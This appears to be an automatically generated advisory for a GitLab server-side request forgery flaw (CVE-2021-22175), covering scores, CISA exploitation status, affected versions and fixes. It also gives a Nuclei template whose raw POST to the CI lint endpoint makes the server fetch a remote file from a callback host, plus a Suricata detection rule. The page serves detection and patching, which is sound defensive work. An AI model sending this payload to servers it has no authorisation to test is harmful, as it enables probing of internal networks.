CVE-2021-22175: GitLab Server-Side Request Forgery (SSRF) Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even on a GitLab instance where registration is disabled
Description quoted from the CVE record (assigned by GitLab, published 2021-06-11).
Weakness: CWE-918 Server-Side Request Forgery (SSRF)
How it can be exploited
Exploitable over the network with high attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity none, availability none. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.
- On CISA KEV since
- 2026-02-18
- US federal deadline
- 2026-03-11
- Ransomware use
- Not known
Public exploit evidence (Exploit Observer)
Also known as: BDU:2021-04653, CNNVD-202106-956, CNVD-2021-42391, EUVD-2021-9321, GHSA-4gm2-v7j4-74p8
VEDAS cluster: VEDAS:DRAGONSWAY
Exploit Observer links 6 pieces of public exploit code or detection modules that name this CVE or one of its aliases.
Exploit code and modules (6)
Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.
- Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2021/CVE-2021-22175.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2021/CVE-2021-22175.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2021/CVE-2021-22175.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2021/CVE-2021-22175.rules
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2021/CVE-2021-22175.rules
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2021/CVE-2021-22175.rules
Vulnerability databases and vendor advisories (10)
Catalogue entries, not exploit evidence.
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2021-9321
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-4gm2-v7j4-74p8
- Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2021-22175
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/CVE-2021-22175
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/UBUNTU-CVE-2021-22175
- Vulnerability database or vendor advisory: https://security-tracker.debian.org/tracker/CVE-2021-22175
- Vulnerability database or vendor advisory: https://ubuntu.com/security/CVE-2021-22175
- Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-22175
- Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202106-956
- Vulnerability database or vendor advisory: https://www.cnvd.org.cn/flaw/show/CNVD-2021-42391
29 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.
VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.
Live scores
- EPSS
- 0.534
very likely to be attacked soon - VEDAS
- 0.982
strong exploit evidence - On CISA KEV
- Yes, since 2026-02-18
Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.
VEDAS flagged this bug about 185 days before CISA confirmed attacks.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| GitLab GitLab | version >=10.5, <13.6.7 version >=13.7, <13.7.7 version >=13.8, <13.8.4 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
Exploit Observer also maps it to: gitlab gitlab, gitlab_inc. gitlab.
How to fix it
CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Vendor guidance:
- https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-22175.json
- https://nvd.nist.gov/vuln/detail/CVE-2021-22175
How to detect it
Nuclei template (active check)
GitLab Affecting All Versions Starting - Server-Side Request Forgery
When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even on a GitLab instance where registration is disabled
Name and description quoted from the template, written by VEDAS.
The template sends 1 request (POST /api/v4/ci/lint); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using dsl matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2021-22175.yamlShow the template (38 lines)
id: CVE-2021-22175
info:
name: "GitLab Affecting All Versions Starting - Server-Side Request Forgery"
author: vedas-arpsyndicate
severity: high
description: |
When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in
GitLab affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even
on a GitLab instance where registration is disabled
reference:
- https://www.exploit.observer/?keyword=CVE-2021-22175&match=exact
- https://subdomain.center/?engine=ammonites&keyword=gitlab&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2021-22175
cwe-id: CWE-918
metadata:
verified: false
tags: cve,cve2021,gitlab,ssrf,oast,vkev,kev,vuln
http:
- raw:
- |
POST /api/v4/ci/lint HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"include_merged_yaml":true,"content":"include:\n remote: 'http://{{interactsh-url}}/gitlab.yml'"}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "Included file", "\"errors\":")'
- 'contains(content_type, "application/json")'
- 'contains(interactsh_protocol, "http")'
- 'status_code == 200'
condition: and
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2021-22175 GitLab Affecting All Versions Starting - Server-Side Request Forgery. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2021-22175 GitLab Affecting All Versions Starting - Server-Side Request Forgery"; flow:established,to_server; http.request_body; content:"http://"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2021-22175; reference:url,https://www.exploit.observer/?keyword=CVE-2021-22175&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=gitlab&match=exact; sid:1010707; rev:1;)
CVE-2021-22175.rules on GitHub
References
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-22175 (government-resource)
Other references
- https://gitlab.com/gitlab-org/gitlab/-/issues/294178 (x_refsource_MISC)
- https://hackerone.com/reports/1059596 (x_refsource_MISC)
- https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-22175.json (x_refsource_CONFIRM)
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.